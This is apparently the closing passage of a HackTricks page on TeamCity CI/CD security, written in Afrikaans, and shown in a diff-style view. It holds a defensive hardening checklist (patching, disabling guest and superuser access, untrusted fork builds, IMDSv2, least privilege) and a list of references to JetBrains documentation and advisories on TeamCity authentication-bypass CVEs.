- Hou TeamCity On-Premises volledig opgedateer; blootgestelde bedieners met ou auth bypasses is hoëwaarde-teikens.
|
||||
- Moenie TeamCity direk aan die internet blootstel tensy sterk toegangbeheer, SSO/MFA, netwerkfiltrering, en vinnige patching in plek is nie.
|
||||
- Disable Guest Login op produksiebedieners.
|
||||
- Disable Super User Access met `teamcity.superUser.disable=true` as bedienerlogs uitgevoer word of wyd leesbaar is.
|
||||
- Gebruik least-privilege groepe en pasgemaakte rolle in plaas van breë Project Administrator-toekennings.
|
||||
- Gebruik kortlewende omvangsbepaalde tokens vir REST-automation.
|
||||
- Hou build settings in ’n aparte beskermde repository as versioned settings gebruik word.
|
||||
- Behandel PR builds van forks as hostile; gebruik Untrusted Builds, handmatige goedkeuring, en geïsoleerde weggooibare agents.
|
||||
- Skei openbare/onvertroude builds van deployment builds met toegewyde agent pools.
|
||||
- Gebruik weggooibare agents en dwing clean checkout af vir sensitiewe builds.
|
||||
- Vermy langlewende cloud/static credentials in parameters; verkies cloud OIDC/workload identity waar moontlik.
|
||||
- Vereis IMDSv2 op AWS agents en beperk metadata-toegang vanaf containers.
|
||||
- Laat agents loop as lae-privilege OS users en vermy die mounting van die Docker socket tensy dit streng vereis word.
|
||||
- Gebruik HTTPS vir agent-to-server traffic.
|
||||
- Beperk plugin installation tot vertroude admins en hersien plugin changes.
|
||||
- Hou serverlogs en TeamCity Data Directory leesbaar slegs vir die TeamCity server OS account en admins.
|
||||
- Gebruik ’n pasgemaakte encryption key vir secure values in plaas daarvan om op die default scrambling mechanism te vertrou.
|
||||
- Behou build history/logs vir ondersoek en beperk permissions om builds uit te vee.
|
||||
|
||||
## References
|
||||
|
||||
- [JetBrains - TeamCity Build Agents](https://www.jetbrains.com/help/teamcity/build-agent.html)
|
||||
- [JetBrains - TeamCity REST API](https://www.jetbrains.com/help/teamcity/rest/teamcity-rest-api-documentation.html)
|
||||
- [JetBrains - Manage Build Configuration Details via REST](https://www.jetbrains.com/help/teamcity/rest/manage-build-configuration-details.html)
|
||||
- [JetBrains - Build Parameters](https://www.jetbrains.com/help/teamcity/configuring-build-parameters.html)
|
||||
- [JetBrains - Typed / Password Parameters](https://www.jetbrains.com/help/teamcity/typed-parameters.html)
|
||||
- [JetBrains - Security Notes](https://www.jetbrains.com/help/teamcity/security-notes.html)
|
||||
- [JetBrains - Pull Requests](https://www.jetbrains.com/help/teamcity/pull-requests.html)
|
||||
- [JetBrains - Untrusted Builds](https://www.jetbrains.com/help/teamcity/untrusted-builds.html)
|
||||
- [JetBrains - Service Messages](https://www.jetbrains.com/help/teamcity/service-messages.html)
|
||||
- [JetBrains - TeamCity Data Directory](https://www.jetbrains.com/help/teamcity/teamcity-data-directory.html)
|
||||
- [JetBrains - Installing Additional Plugins](https://www.jetbrains.com/help/teamcity/installing-additional-plugins.html)
|
||||
- [JetBrains - CVE-2024-27198 and CVE-2024-27199 advisory](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)
|
||||
- [Rapid7 - CVE-2024-27198 and CVE-2024-27199 technical analysis](https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/)
|
||||
- [SonarSource - CVE-2023-42793 TeamCity vulnerability](https://www.sonarsource.com/blog/teamcity-vulnerability)
|
||||
- [CISA - SVR actors exploiting TeamCity CVE-2023-42793](https://www.cisa.gov/news-events/alerts/2023/12/13/cisa-and-partners-release-advisory-russian-svr-affiliated-cyber-actors-exploiting-cve-2023-42793)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user